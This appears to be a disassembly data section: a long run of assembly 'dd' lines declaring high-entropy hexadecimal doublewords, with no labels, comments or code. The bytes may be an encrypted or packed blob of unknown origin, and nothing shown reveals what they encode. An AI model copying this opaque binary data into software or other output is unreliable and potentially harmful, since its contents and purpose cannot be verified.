		dd 0BD3D1F7h, 7AC56113h, 5EC0CEABh, 0F32A62F6h,	67CD9DBDh
		dd 50377E2Dh, 0B22E5EBBh, 0E23A10D7h, 5615E967h, 34B8011Ah
		dd 6F47716Ch, 0E2584CA4h, 920BA235h, 2CE47D09h,	25AC6F9Fh
		dd 2C59F609h, 0A4C5D752h, 5D7C688Bh, 0E2927D1Ch, 0FC912C73h
		dd 780DE49Ah, 0B6D59875h, 87C05A46h, 0C9FF310Ch, 89C2D1D0h
		dd 70DA8708h, 25E9E8F9h, 0F445A277h, 9857F71Fh,	0A02DC0E0h
		dd 0B7C9E0B7h, 0A6C07A62h, 7782B3E7h, 46DF4E42h, 0C951957Eh
		dd 0DE5C298Fh, 0C123E984h, 0EBC08DB8h, 15727FA0h, 0E0954CFCh
		dd 972C8B8Ch, 0F8F2DA33h, 2D1677D4h, 96B75EBBh,	0C049E00Bh
		dd 619D2AB8h, 11C2AAC0h, 5B02691Bh, 4C053FECh, 474D95Ch
		dd 1F6E329Dh, 0C8204700h, 0F807C05Eh, 2DD194DDh, 0E10497C2h
		dd 92925F02h, 0AC393EB1h, 5925790h, 93E18E86h, 0A1B954B2h
		dd 35F1B2A7h, 42E7555Eh, 0CEE95682h, 0D0E8A7D6h, 4CF18073h
		dd 96117FF6h, 0D4307C8Eh, 53580C6Dh, 3BAF3268h,	0E1FE62A1h
		dd 1561A982h, 50FF626Dh, 86BB0151h, 0D17CE77Fh,	54D07AEBh
		dd 3B730BE3h, 0F30223E0h, 6256CA1h, 3B9B6C1h, 7033B15Eh
		dd 518F557Ch, 0AE90FCE5h, 0C7D5A224h, 66FA30EFh, 2697B30Fh
		dd 12AF7D65h, 13C6315Eh, 0B84AD52h, 552D1B68h, 0CDE94230h
		dd 0F3A22B5Ah, 2959EA80h, 0F5B80AF1h, 0B43BC0B5h, 0C1664A3Dh
		dd 6FD189C0h, 41EFE324h, 6B1C4D0Eh, 49F8707Eh, 0E3B80DD7h
		dd 0E8C9EA16h, 3FA995EEh, 4A0BF668h, 0D648585Ah, 0CB690205h
		dd 87628077h, 6DBEB770h, 70BD7425h, 5DB35EBAh, 5983870Bh
		dd 0ACD28809h, 8160D728h, 5037904h, 4BC89F58h, 30BFF606h
		dd 95075FB7h, 93BC5BD9h, 32899134h, 9DCB7BE0h, 0AA56CA0h
		dd 96B54202h, 0B8D6CA77h, 5AD50281h, 9A62DD29h,	20FC0B0Ah
		dd 7905BF1Fh, 8504FB5Bh, 53E77D93h, 88E54D73h, 42926882h
		dd 8CF05B66h, 973958h, 5C1C0558h, 49E92E80h, 0E25A2DA7h
		dd 0F368C2DEh, 18247F57h, 78F6F2EFh, 20851069h,	9A717796h
		dd 0B8EA972Dh, 0CCC6080Ah, 0D17E683Ah, 0A60929Ch, 0B725FB43h
		dd 6866A780h, 69E92062h, 0D5601099h, 6A1A7D49h,	0B3E287F9h
		dd 0DD9BA977h, 54EBF200h, 0A8B875A0h, 61C123Fh,	0ABCBE929h
		dd 0B3B52534h, 0E46F8CF6h, 81EC33A0h, 0F8FA03C4h, 9AE3C404h
		dd 2562319Bh, 740C9FD5h, 0E56C182Eh, 740E0C6Eh,	63551B2Fh
		dd 62D39AB3h, 9A64E3A8h, 9A1C6077h, 40C79F8Dh, 5C81FA25h
		dd 97694EF1h, 1E77FDC0h, 440A52DFh, 6B46CE1Dh, 412C9823h
		dd 0DAA52C18h, 0C4544155h, 0B577D462h, 868560AFh, 0F07C21A8h
		dd 0D7C87A9Dh, 0F5680552h, 0D935AE0Eh, 0CC6D68C5h, 2F412450h
		dd 0F4F05154h, 5AE4DD5Fh, 449C411Ah, 5094BE68h,	515700FFh
		dd 0B1445DB9h, 0CB175279h, 254038E9h, 28C0EE80h, 0FA94A1F3h
		dd 7056066Ch, 772F0048h, 5C0C6FF9h, 0F086241h, 0E97D961Ch
		dd 20E7E152h, 0ECB5D871h, 9A299D9Ah, 16628A80h,	0B8B843F2h
		dd 0F16E3705h, 0D8090934h, 7B31A8F8h, 93BDF64Bh, 255BFC4Bh
		dd 0A2D79629h, 0E3A0FF4Eh, 6D1BD55h, 3F0CA83Ah,	0A2F502EDh
		dd 0DD72C60Eh, 0F8786289h, 2E34173Eh, 0CD10BE87h, 6B18804Eh
		dd 337C811Ch, 0B5ADE04Bh, 0D2233610h, 614B09A6h, 3D1C221Bh
		dd 7370963h, 0F08A074Ch, 0B5F5F979h, 0AF8A85DDh, 16E9DD45h
		dd 0BE5AE4A0h, 6A5F42B9h, 1C989FCCh, 7A9E799Dh,	211B465h
		dd 0CD08A34Fh, 867A76D2h, 0D2B57700h, 0D1D49ACh, 20FDAD5Ah
		dd 0AECBFBA0h, 0E9640910h, 0C290DB5Dh, 4A266D57h, 68843249h
		dd 0FE9439Fh, 0E8E5AB34h, 0AF4218A1h, 0F423C237h, 0B9205B87h
		dd 0B9B17D2h, 4D39DB9h,	0BB93A57h, 457ED156h, 0E9F0D85Eh
		dd 0D4EBD925h, 0F7F2730Fh, 3B3AD854h, 0A09FFDD6h, 6863E286h
		dd 784C93h, 80601E05h, 0AC88D458h, 8E3284D2h, 0CF5C2BB2h
		dd 3175E2CCh, 548E11BDh, 10F3386Eh, 7751C940h, 69C2957h
		dd 0FA102FD7h, 0B1837419h, 303F138Dh, 0AE2D11C0h, 0BDE93213h
		dd 0F94B68ECh, 0FA81A5F5h, 550277F0h, 718E1FEh,	3AFA8851h
		dd 0D728CAFEh, 0B1512CF2h, 20D01F56h, 2CDEE0B5h, 0C5CF2706h
		dd 229F44C0h, 282E5B81h, 0D84B31B1h, 0DD31EDA2h, 2E595DE5h
		dd 0A2DC4E6h, 0BE74E9A5h, 769004CCh, 5E3D2E4Eh,	47E94169h
		dd 0B0835179h, 1009661Dh, 0D04BB620h, 1B41ADF0h, 41C4134Fh
		dd 93BEEF18h, 672520F2h, 1BB45E4Ah, 13C297B3h, 8567E774h
		dd 3502CF8h, 500DF207h,	28D2AEECh, 1730FC5Fh, 4A4DE621h
		dd 88779CD1h, 9E64330Dh, 99F42DE0h, 29AD0DF1h, 52C45E97h
		dd 12BAE65Fh, 37DC3FE9h, 0FDBF853Ch, 79EF34FEh,	5002CA8h
		dd 0C135A31Bh, 4A0104EAh, 9D4CA81h, 0F2D8210Eh,	0BFAD137Eh
		dd 0FD8BD1C7h, 0D2B8625Fh, 895C74BAh, 492E6B4Dh, 0D661F34Bh
		dd 9CB2A9BCh, 7524EF5Eh, 0F1A7AEE8h, 4FE9426Ah,	470BCE64h
		dd 245EE71h, 0D9F2BB84h, 0A7AABFE2h, 0D5A4A190h, 5A3ECC6Bh
		dd 792D5802h, 0BA3B4E75h, 40AEF053h, 0D327F773h, 1E275843h
		dd 424E105Ah, 0ACE947D7h, 0C15DCCE8h, 6408E227h, 244F69E5h
		dd 0F890B0F5h, 0E9C71289h, 3ABEE16Ch, 45900EE6h, 20478F80h
		dd 0C7BA26E9h, 579BA68Fh, 0F544C174h, 0F4EDA289h, 64EF057Eh
		dd 0C5A5A363h, 9A8F39DCh, 5EF72C5Ah, 9A5C2DF6h,	0B02B70C9h
		dd 78213920h, 83641B0h,	6262B168h, 1AD2A53h, 0A7DFF75Bh
		dd 495054FCh, 1A78B057h, 8078B9F9h, 11AB4BB8h, 0C24E0160h
		dd 0D4DDFFD1h, 60D86801h, 5E124E53h, 0E812EED1h, 0E6134843h
		dd 0D189FBE5h, 843ECAE9h, 9634E320h, 91391B9h, 0EA2706CAh
		dd 3CB0FFA7h, 6BF26720h, 235A2832h, 51DABE25h, 0F97897E3h
		dd 0BCE527AAh, 981098BCh, 7753950Fh, 0F100C10h,	1591767h
		dd 50AEC10Bh, 0E1C018D6h, 80030607h, 120AC13Fh,	64BFE63Ch
		dd 6E77821Fh, 0E1516602h, 672B67D5h, 15CCA296h,	91EE3BFDh
		dd 0EF6414D3h, 50C74010h, 0E84009B0h, 0C4681358h, 5251324Ah
		dd 0D8B77741h, 81021BF7h, 59071FCFh, 3CEDA523h,	8CE70E95h
		dd 5C25B10h, 2A3C0CB9h,	0B7D4B9C6h, 0CE778142h,	0C6D27590h
		dd 396A2A97h, 576FFA0Fh, 20A94548h, 6365D9BBh, 0E2659FB9h
		dd 39047528h, 0C1BCE4A3h, 852E6541h, 0A0F9AC52h, 2780AEB2h
		dd 6F0DDEAh, 0E916C275h, 0D9E7A015h, 0DF202458h, 56B8F683h
		dd 0E5EC29EAh, 2F424E0Bh, 0F43C004Ch, 9CD9C3BBh, 0F031161Eh
		dd 9E41084Eh, 579C7FDAh, 14CA8C59h, 933ACD01h, 6B08E1CDh
		dd 3E298956h, 76B41AD7h, 3551AC13h, 0CF832146h,	453F872Ch
		dd 0A01BB93h, 289A0412h, 6A2CCD60h, 0B89D7E6h, 14007A5Bh
		dd 0D88366F1h, 25F6707Ch, 809D1424h, 84E808h, 471BB53h
		dd 9DB418B0h, 0B2539313h, 0F14840AFh, 2962DFD1h, 0CA093396h
		dd 17A5F3D7h, 0B686FC2Ch, 61065F40h, 0BF708AAAh, 985D26F1h
		dd 89C64D02h, 9CA04808h, 0EFC5C0D1h, 1946608Eh,	5690AAB0h
		dd 59480884h, 1245A155h, 9393356Eh, 4EC268D3h, 8B2DF651h
		dd 0ACB4D514h, 6762E93Bh, 976E5482h, 10FD6950h,	0EA50EED3h
		dd 30DE8005h, 0A327CA7Dh
		dd 5F443AF3h, 0E1D7FF32h, 317C8FBFh, 98886829h,	37BA0BA6h
		dd 63C7670Bh, 0DF681231h, 0C0BCE42h, 0B69C3E89h, 9369E12Fh
		dd 898DC128h, 454352Fh,	0B642234h, 5D759A59h, 0DD92DA4Fh
		dd 50DA7D90h, 86ABBE52h, 7D39CF68h, 148EFB20h, 0D356EBD1h
		dd 147A9F09h, 0D7E0EA8Fh, 49303F5Bh, 710A0EC1h,	0D02B0BADh
		dd 0D51A51Ah, 7037A48h,	0FB5E312Dh, 83596B9Eh, 7F4605F6h
		dd 93601850h, 0C3E13741h, 17C24C12h, 0F194C02h,	0CEBE6101h
		dd 9B7F3A30h, 0CB963C62h, 0E1FC9182h, 0F02901BCh, 7E8FF06Ah
		dd 2D508001h, 28FD0B58h, 0A105E8F4h, 5A775D07h,	11B0C305h
		dd 57E5043Ah, 0B151009Dh, 0CBD9F6BBh, 3E0A8004h, 4B6D1D0Dh
		dd 0DFA9ED7Eh, 0E3AEA1D9h, 8408EF00h, 5827E916h, 0AE9674ABh
		dd 435AF949h, 0D5EBD24Ah, 9197F334h, 57E646DEh,	6812A5E4h
		dd 0A0AC7CD1h, 183AE0C1h, 91FDE25Ah, 6B74715Bh,	0D2F0BBEh
		dd 7E74436Ch, 1153C172h, 3A16E86Dh, 0DD52FC8Ch,	4D502705h
		dd 5B90A801h, 0DD206632h, 67520EC4h, 10D2012Fh,	5D2E088Bh
		dd 0F8680F26h, 11ADA3D3h, 0E326717Ah, 808A2202h, 4A7F0AFFh
		dd 38FCDBh, 63F84A0Fh, 49E9D909h, 855B4F4Bh, 683E0264h
		dd 31623AACh, 693C16F7h, 8A00BDDDh, 4F8D6FEAh, 0E24E7DB0h
		dd 9AC9A85h, 98A5B8B4h,	277AB65Eh, 0B5423BCh, 0F2068E1Ch
		dd 4B8EF705h, 5A8AC2A9h, 12BD66DFh, 0CC09DA68h,	0CB40DB14h
		dd 8B05075Ch, 0B275FE79h, 20526253h, 0F5014F00h, 54BA522Ch
		dd 1D030706h, 395AD131h, 0FDEB7C8Fh, 73BC9C16h,	0EB6B8069h
		dd 19432C7Ch, 5D824CE9h, 0C4C46C3h, 87CCDA09h, 0D6045FE0h
		dd 0E9A48188h, 0B18BBA0Eh, 0D1F60B09h, 406A4E70h, 50BD58BBh
		dd 0A7E12D13h, 1688BC79h, 0D7010A6Eh, 76FA2DFAh, 32F10CC1h
		dd 0F1384F8Ah, 4CD8F3A4h, 10073918h, 0BA031D6Dh, 1CC44BD7h
		dd 5D7F2E2h, 3CAE5AE7h,	0C0C4C8A6h, 1E8868B7h, 0AB740078h
		dd 14B85076h, 6E009E60h, 6F400D48h, 93528D4h, 1023798Fh
		dd 0BDAA9B40h, 696465D3h, 1244A700h, 5801329Ch,	8411EDDh
		dd 0E90B8B3Dh, 5C107903h, 0F872876Ah, 0C99FE5F6h, 0D7C4174h
		dd 94D6E24Fh, 0C6222D2Ch, 0C0AE2010h, 0BCEE1C98h, 5EC3CA4Dh
		dd 1AFC3413h, 0D84FC2B4h, 6002B102h, 7528C741h,	64D6FBF9h
		dd 9A83ECF7h, 5AEBF815h, 7ABDD9E8h, 0D9A50ECDh,	5659AEFEh
		dd 6740E866h, 0F2F425E9h, 79BD8444h, 0D8784939h, 60DEE918h
		dd 0A25FF8CFh, 0B2EEF2D3h, 14EF252Eh, 457D7712h, 0AC11938Ah
		dd 0C3294BA7h, 0B99CC42Fh, 54DFC9E3h, 84262327h, 0CD672D68h
		dd 576BE044h, 0D5389EB5h, 0A9900D41h, 8185602Fh, 0FD9ABB5Dh
		dd 0A942AD45h, 4F2CFCEAh, 5DDDB805h, 0E55B1CF4h, 0F91B3102h
		dd 85C24204h, 0DB0900BDh, 9424850Fh, 928928B2h,	9B1ED75Ch
		dd 8055E2C9h, 4B4DD509h, 0F4D29D5Ch, 6DFBF20h, 0D0F3CA80h
		dd 0F2EE04E2h, 76BE1450h, 0D9273B9Dh, 0A922E7C2h, 0AE445E05h
		dd 35C68812h, 163A2E10h, 0B878A304h, 0B180C075h, 2B5FF210h
		dd 0DE48F9BCh, 2C2F4A00h, 3BCD2D39h, 1430953Fh,	3E0705D8h
		dd 0D7ADDE5Bh, 3D9F0F7Bh, 0B4472B35h, 0BC40B409h, 0F207411Ah
		dd 10AB1188h, 945C2F91h, 0F3C6BFC2h, 5FA0E913h,	0F52D0192h
		dd 3F5D6144h, 0FAC1770Dh, 54853AB9h, 294FB02Ah,	0E0E9EB09h
		dd 77AD48B3h, 0F57B3D1Fh, 688B1DA5h, 0B5C31EDFh, 5E94D646h
		dd 6F59E88Eh, 0A22544C7h, 0C3C47BA8h, 9498FB9Eh, 0B9224BC6h
		dd 0DF969ECCh, 0FCF134EFh, 48230976h, 0D21E03DEh, 0FBE31EB2h
		dd 62880B50h, 8AE91FFCh, 589789FEh, 621E02F2h, 0DA25DF3Dh
		dd 0E075C914h, 1D10E589h, 81683E1Ch, 709A9DF5h,	43016FE1h
		dd 28E9FE89h, 2D630B6Bh, 4BB62F5Fh, 715AE23Eh, 2B3C766h
		dd 667C5FB7h, 74ECD796h, 100833Ch, 4BB2E781h, 0CFEC63A0h
		dd 5850A901h, 7F966845h, 2F109436h, 15F12C3h, 49314F3h
		dd 13A6E554h, 1F2F23A6h, 0D4D21009h, 0EA16C173h, 29EC28EBh
		dd 0B6597075h, 685085F9h, 0E9E7B0FEh, 7E03C027h, 2D054F08h
		dd 0C1FC2419h, 336D089Dh, 6BA85F86h, 0D030580Fh, 0E705E4C4h
		dd 0E6214BE7h, 232B5E4Fh, 5DCA544Dh, 0DDCC8BF5h, 97DAF21Bh
		dd 0E14E284Ah, 0BBE6826h, 4965E9C2h, 1D712179h,	0BBFC530h
		dd 89FACAFDh, 0F9DC907Dh, 0BCE59598h, 3B60D41Ch, 0E8A5EAD1h
		dd 9324C37Ah, 1E6A4B7Ch, 187F6002h, 0C8E4E17Eh,	0C8C0C197h
		dd 62B72FF6h, 21AAD289h, 0D4AF7E17h, 877681CCh,	6C10E952h
		dd 685A06E2h, 778F58D4h, 27F0829Bh, 45E2535Bh, 0F6E915D8h
		dd 6DAF87D7h, 0E9003ED8h, 4E213EBAh, 1C619849h,	0A0BE46F4h
		dd 6C707A0Bh, 2A90DD0Fh, 0CC0B1F48h, 88CD01E4h,	0BA899A54h
		dd 0A1AFD071h, 122ED636h, 0BA3DFA77h, 0D9F93F49h, 0A4E3F23Ah
		dd 269A8608h, 60731E4h,	38E52F88h, 0C16DBBE8h, 0F639F587h
		dd 5E27A65h, 875C5025h,	91D284DAh, 0CE44EE17h, 28BEC8F2h
		dd 4609C3AEh, 4A654Bh, 7E7D9241h, 0A30CC735h, 27B47Ah
		dd 3C6F6E94h, 0DEFE5DE9h, 0BBB3164Fh, 2C646201h, 0F7FD4B43h
		dd 0BCE0166Fh, 9E813941h, 1F5267B7h, 830238B9h,	16E984Eh
		dd 71FA75Fh, 4DA660CEh,	0F9F7316Ch, 80A34720h, 5B03FC88h
		dd 247C8A5Ah, 0DF64C202h, 0A8E94C21h, 0C1552A5Ch, 939C8FFEh
		dd 94B2B565h, 525EF093h, 0D030265Fh, 4CFE44AFh,	0A3ABA1Bh
		dd 8169AE01h, 0CE062AE3h, 55C31340h, 571D1F13h,	0F71B41BCh
		dd 0DF016DBh, 6AE331EEh, 0C2C60480h, 653D0929h,	1D02CE01h
		dd 0BA07B7F3h, 388E7EF0h, 0F28AA842h, 9BC44CA9h, 178A3128h
		dd 0A8071CE9h, 50688289h, 0A814F541h, 592E970h,	79896EB6h
		dd 1094F71Bh, 77146815h, 0D7635020h, 0A93418BDh, 8C7D82A6h
		dd 13ADFEF2h, 0B81BE44Eh, 2506066Dh, 60F4753Dh,	24A91204h
		dd 0E6FF3921h, 502FDFD4h, 42CEB178h, 0B17FF245h, 0C908114Ch
		dd 0B405B41h, 4F5AD67h,	5AD189BDh, 8367C109h, 0D37322EFh
		dd 6F3C70E8h, 577FC18Fh, 0FD49CFEEh, 53801474h,	4D734051h
		dd 1900E345h, 0C4F80B4h, 502771FCh, 0E32D3E00h,	2B7CCB0Dh
		dd 705C828h, 10015935h,	2568D6F4h, 0C9E618BAh, 0CA53910Ch
		dd 0F58B5008h, 57A8B43Ch, 93EC124Bh, 10A241E6h,	2BFF8641h
		dd 40056801h, 76002AFCh, 0C4054197h, 8FE9D109h,	0CB2553F9h
		dd 0B6C3751Ah, 7EFE0FF9h, 6C097631h, 2C078104h,	583BAFBBh
		dd 4B02EE03h, 932C098h,	5900D228h, 2FEEBD55h, 30E93999h
		dd 0F7939E33h, 0BB2E56E0h, 0E922B23Eh, 568F5C2h, 5B405422h
		dd 532EDAE9h, 14BAE90Dh, 7DB06605h, 7A5A41C9h, 924EC3E2h
		dd 65DE5D43h, 0E5220820h, 0C479BF5Fh, 0A726D09h, 28B9A3D0h
		dd 5C099DDAh, 500A8F07h, 782DA0A3h, 72A90165h, 0A5E9D789h
		dd 70313B9Bh, 8D62DB47h, 2A3DAB96h, 91AD0460h, 7B2FBC94h
		dd 6DB078E0h, 5508DDB6h, 9B6C27C1h, 8C98D5B0h, 0EB01F8FBh
		dd 108D1B7h, 882DF780h,	908C90F8h, 3EE05130h, 2848DE0Fh
		dd 0C15E7E89h, 0AABB9A01h, 0CD21EA7Ch, 0B5C68DECh, 554BF864h
		dd 2C205BE6h, 51061C2Fh, 1BC78504h, 0AD16E07Dh,	53E96F0Eh
		dd 0C26E694Ah, 1D65FD1Dh, 59F41A3Fh, 1BC5D51Ch,	0D7C83E0Ch
		dd 3FF2CEFEh, 49269FBDh, 1C7FB67Fh, 87039753h, 0BF167DE9h
		dd 0ED21F231h, 0B804B94Ch, 0AD2F78FBh, 528525EFh, 0AA8574ADh
		dd 0B8DE28CBh, 0D6355402h, 60C83166h, 3C3EC309h, 56CC2C1Eh
		dd 0C14FAF05h, 7ECBE836h
		dd 1C4008A3h, 0C0B55814h, 838AF652h, 4ADEEEC4h,	0CAE95604h
		dd 0CFBD93AEh, 63CAF993h, 0D62D20E8h, 26885A16h, 705960Ah
		dd 0EA87E90Ah, 3F35392h, 5A13E65Ah, 355BA7E4h, 1F1B2E9h
		dd 0DE1EBADFh, 69DDED03h, 3C20764Ch, 62EF947Eh,	455709F2h
		dd 0C0044BADh, 0D044A588h, 32FD330Bh, 598CD658h, 6664DE9h
		dd 0ADEF881Ch, 30DF8BE0h, 9EF3FD72h, 1ED28008h,	6890320Bh
		dd 816D3FD4h, 307FC603h, 9754CA16h, 577BAC6Ch, 0F239AD1Fh
		dd 0DAE95F42h, 0BBEA54AFh, 0B5A8B693h, 69DE699Dh, 42305CA2h
		dd 82ECDFC3h, 6216A132h, 860DC05Ch, 901C73FBh, 534809B8h
		dd 940A7B8Fh, 0C4651288h, 9769F2B5h, 6A3935FCh,	0E992B3B8h
		dd 683AE0ABh, 609643E2h, 95B3162h, 82311F7Ah, 32172B97h
		dd 0F8042A66h, 0C26A2557h, 0C550FD15h, 9C66AC9Ch, 5758404Eh
		dd 3D3BF7Fh, 7D1669E9h,	68DCC87Ah, 7E6F6325h, 0ACE9789Bh
		dd 5D253F9Ah, 0EFF05451h, 0F25ABDE5h, 87244A2Fh, 77CA4591h
		dd 0CA510062h, 958029E4h, 568ACC68h, 0F760850Dh, 822A04DEh
		dd 0A20008D0h, 249FE230h, 9004F131h, 11E14B70h,	0BCAF642h
		dd 0D10FF5D4h, 12B78E80h, 3D25AEA8h, 0FFD4AC89h, 2FEF8100h
		dd 5BA29085h, 1739E657h, 0EBA2D82Dh, 7B2D83C8h,	0BFD20CCh
		dd 4C313923h, 0E2C12401h, 0EA62E07h, 9A41E300h,	0DC6AE974h
		dd 594AE69Dh, 0A25BDA3Eh, 2C0C4C6h, 41758ABAh, 0A12D7EAFh
		dd 0E90B9F39h, 0E168BC70h, 3B1913FEh, 620E5D55h, 5F4185D4h
		dd 1829C429h, 16EA0C08h, 31519209h, 57FA86C2h, 0AD663944h
		dd 0A4D84A7Ah, 8B958BCAh, 99856E97h, 0B0351388h, 3398564Ch
		dd 0A421290Fh, 5814891Bh, 0AD4695F7h, 0E29DB0B7h, 125D8256h
		dd 0E652558Ch, 0BE54CB09h, 0D9B66368h, 2CAFD332h, 284F4478h
		dd 0DE2444B8h, 0FFF3036h, 6812C8BFh, 0A96160DDh, 0FA3256AFh
		dd 4B14FF92h, 89682F83h, 0D8A47C9h, 4319DCE9h, 41817D47h
		dd 35CB6F34h, 0D8685604h, 489AA320h, 5AE16446h,	30E7CDBAh
		dd 95CE639Dh, 8B5C4FC2h, 0A067F411h, 2585A08h, 0A780E91Ah
		dd 3C03F3C6h, 0B907D365h, 290B2440h, 0C86F08B3h, 0E6FB890Eh
		dd 0FB9126Dh, 78F6DAEEh, 0A40ECC5Eh, 9985524h, 44099D78h
		dd 0FC7C310Fh, 304283E0h, 29D7281h, 5E9EE90Fh, 0C598EF46h
		dd 0F95F6834h, 1A5DA108h, 0DD58DC29h, 0D77DF8BFh, 8B16FF0Fh
		dd 0BA8E3021h, 0CFFA972Bh, 0AFEE7E0Ah, 0AB9FA1E3h, 0EFC443D3h
		dd 0E9179536h, 9FEDAA43h, 0E9600A89h, 4F4E6568h, 22718B3h
		dd 0B002BB64h, 0F7146655h, 0CD0055D8h, 259A7005h, 7DB8CC4Bh
		dd 73E5E90Bh, 5D9F5A53h, 0D6F8A309h, 0C253E7AEh, 0BF5EBE4Ah
		dd 174A488h, 0F602EFC0h, 12822BD7h, 0FE7CC003h,	4BE925C7h
		dd 0EDF770C2h, 577F16E0h, 0F4F3F85Bh, 4F018AEAh, 0E95711D0h
		dd 2D8AB4BFh, 0C64F0471h, 5C1C7B6Bh, 4F00514Dh,	960D341h
		dd 529D5DEFh, 80E01C3Ah, 0AE299840h, 5B81DB82h,	9CB4986Eh
		dd 0C1676A65h, 595D5BBh, 0B287D5B1h, 62C84B6Ah,	31CD606Dh
		dd 5615BBE7h, 44997C50h, 0B1ED904Eh, 4B33ACD7h,	67C768F0h
		dd 73EB5154h, 470496EFh, 8C02B7E2h, 0D3BCBBC1h,	0B9C51793h
		dd 0F2D7BAEh, 5BB5468Ah, 0FD1785Ah, 90569440h, 330C0A97h
		dd 89772Bh, 7BFB5469h, 78EFCEE9h, 55C2A4F6h, 0BDB7C467h
		dd 0E917E29Eh, 0B5320EF5h, 428EC156h, 0D816FB29h, 5ED3CC5Bh
		dd 15674D9Fh, 8813E478h, 0E49F0AFEh, 0B0E29892h, 19F807E7h
		dd 73D0F724h, 1306061Bh, 0AD623EE4h, 0A8558466h, 172B6517h
		dd 0E606B908h, 39625A76h, 0F6E63A61h, 59C8210Bh, 0AA9FFD48h
		dd 5AEFBC86h, 149F2BFFh, 555C143Ch, 93A1BD54h, 0FA2901DCh
		dd 122A4F61h, 52669BDh,	8328EEA2h, 5AC504BEh, 0AE2926C8h
		dd 0F1525792h, 0C651CBEAh, 115C701h, 0DFCD26C1h, 806B721h
		dd 5B29811Ch, 0CB8F912Bh, 0B55134FAh, 145A66F7h, 8F8A72E3h
		dd 534D062Ch, 5DE82EC7h, 0EC450985h, 80A12D9h, 0D0CECA5Ah
		dd 0B4FEE909h, 686283C4h, 0D45B02B9h, 482686Eh,	0EB8D7CE9h
		dd 0AE36A44h, 9A76090Bh, 165B0D08h, 0D4641A4Dh,	0ED68007Dh
		dd 764B37DEh, 887AF547h, 0CA407D6Ah, 40143DBAh,	0A2270D3Dh
		dd 5EAF22FEh, 75E9787Bh, 2827229Ah, 836AC2CCh, 6F63AD89h
		dd 0B52BDF9Bh, 0EB876420h, 0E8E4C531h, 0F71C04ACh, 0F26B95D5h
		dd 0E9C3A12Ch, 1EA79690h, 0E77620C9h, 0DF337920h, 128D389h
		dd 0E4BFB6D0h, 1CB953Eh, 32DFF1D9h, 4AD19254h, 0AF05B8C5h
		dd 0CA7A9583h, 48C550E0h, 0A0D23453h, 0B79C77E6h, 3F964527h
		dd 0E901F213h, 4A6DA60Ah, 0ABFE16C6h, 510C977Dh, 0EABA58AAh
		dd 2BC481DDh, 6F017229h, 0E95B4990h, 4DDE5822h,	210C87A4h
		dd 6A4A4377h, 0B70D8CC6h, 86F10509h, 4B3D403Ah,	204D215Eh
		dd 0AFC61104h, 51DF5207h, 0BE090105h, 503ED2EAh, 40DCFE5Bh
		dd 564E59F7h, 277DA8E3h, 0EEFA5F37h, 41C746A0h,	7D96450Fh
		dd 0E1EFFE4Fh, 803B5C51h, 8274AE5Dh, 0F6811E01h, 6919409Ch
		dd 0D176D442h, 83F261Bh, 7B289E86h, 0FFCACF30h,	3D0403F2h
		dd 0DD931DD3h, 0A26BF8E7h, 0D1DE1311h, 0F462682Dh, 595462C7h
		dd 0D140B155h, 5731668Dh, 16C223ABh, 2DA2BE97h,	69EB3178h
		dd 3A1DB355h, 734D9331h, 0B644AE05h, 6A1879ECh,	660F1FEDh
		dd 0C137BE55h, 0D629624Eh, 0B77B0125h, 0A27A13B2h, 0EED5FB4h
		dd 0FEBBC980h, 7790274h, 0CE881EF1h, 4AEEF359h,	30EFF6C8h
		dd 735AF324h, 0E2D0B903h, 580293C0h, 0E10E1946h, 0E59CE9EAh
		dd 0C0F8BA75h, 806CF84Dh, 0C50B2D97h, 5B35952h,	0A0C8859Eh
		dd 0B707BAB5h, 822699Eh, 50BB2004h, 0BC9B6EAh, 8F92F6BFh
		dd 184F929h, 0E5E7AA88h, 0E0AE884Ah, 49AE3A53h,	0CE9D4B16h
		dd 878D002Ah, 0D12F3F29h, 9FB8EF5Fh, 4712AA93h,	0E352D58Dh
		dd 0E0BAF036h, 0E05A5AF7h, 8A4A2C25h, 0EFF27F0Ch, 5665A1D3h
		dd 64B0BA10h, 4F620559h, 79FB6B13h, 6E302BD3h, 288074B5h
		dd 0BCF7DE5h, 8C50E986h, 6A9B8D49h, 0BD6E6A5h, 2A80C856h
		dd 0FE0FB450h, 7FC4FECCh, 41E43B7Ah, 0FB18EC16h, 0E9F35347h
		dd 11ACEEB4h, 3A93A7A1h, 5B88AD8h, 0F769E66Dh, 0B27A82DDh
		dd 8C9638ECh, 0A1EFAF9Dh, 43AC6860h, 0E728602Bh, 644CB321h
		dd 25B4201Dh, 55D9F7h, 85184562h, 99315ABAh, 0B05130B1h
		dd 0E8B61626h, 515DE90Bh, 0C4FD3BC2h, 81CB28C3h, 0D8DDEB6Bh
		dd 82A366C3h, 0FA4EEB6h, 68E2D19Fh, 4AC9CB3h, 0AB60E9EBh
		dd 0DF662232h, 6E246EC4h, 34C40B4Fh, 0B9B2CFBCh, 0F1687857h
		dd 9429B320h, 95F7B844h, 2E3F6653h, 0E550930Ch,	0EDC08287h
		dd 0C85E310Eh, 0C43CCE81h, 617A9D2Bh, 5817A5F3h, 0C271F0AAh
		dd 2C8B5E3Fh, 405A2AD4h, 829EDFC7h, 0AC7BCFDDh,	3A2EEBACh
		dd 91AF317h, 0B0337368h, 80913065h, 0E790D2F7h,	0CEFC04F3h
		dd 7EB850A0h, 16270B02h, 0D69369E9h, 57E9E6h, 5EFE318h
		dd 80454E1Dh, 9240AF7Ch, 529F6A45h, 0B869666h, 0FCE0DDFBh
		dd 0E216791Eh, 66133164h, 847AD2F1h, 885781C1h,	2FB900CCh
		dd 19252450h, 81084C42h, 606AC907h, 0E9604D15h,	0F85BE70Bh
		dd 26CA7729h, 933E892Dh, 39FB0FD6h, 0CBF8E9F2h,	55DC48D2h
		dd 0D968884Eh, 474C6C71h, 0EF541030h, 0AE043500h, 0C1311F98h
		dd 42D348F9h, 5065809Fh, 2C055433h, 1095D601h, 52E940E4h
		dd 7C10009Dh, 0F53B7A17h, 80BAE48Dh, 0FA644211h, 569CBE00h
		dd 0ED405F92h, 2EC600ABh
		dd 29228E47h, 0B2E925F7h, 0BE509084h, 4A35222Ch, 2721AEBDh
		dd 0BB05F2D3h, 52AEEFC4h, 26AACD40h, 96684F2h, 0C7C88EC8h
		dd 74F8293Dh, 30CBC23h,	0F27F652Dh, 0D7BAAC6Bh,	0EE59DB42h
		dd 9DB5E9C7h, 0D7312AD0h, 1C6CB55Ah, 0CC6836C3h, 0B02F1014h
		dd 0F19C446Bh, 58055912h, 65EB3240h, 12557E3Fh,	0E2CE8FE9h
		dd 284A3A64h, 0CA059BEAh, 55F324F6h, 10FC24C0h,	291118D2h
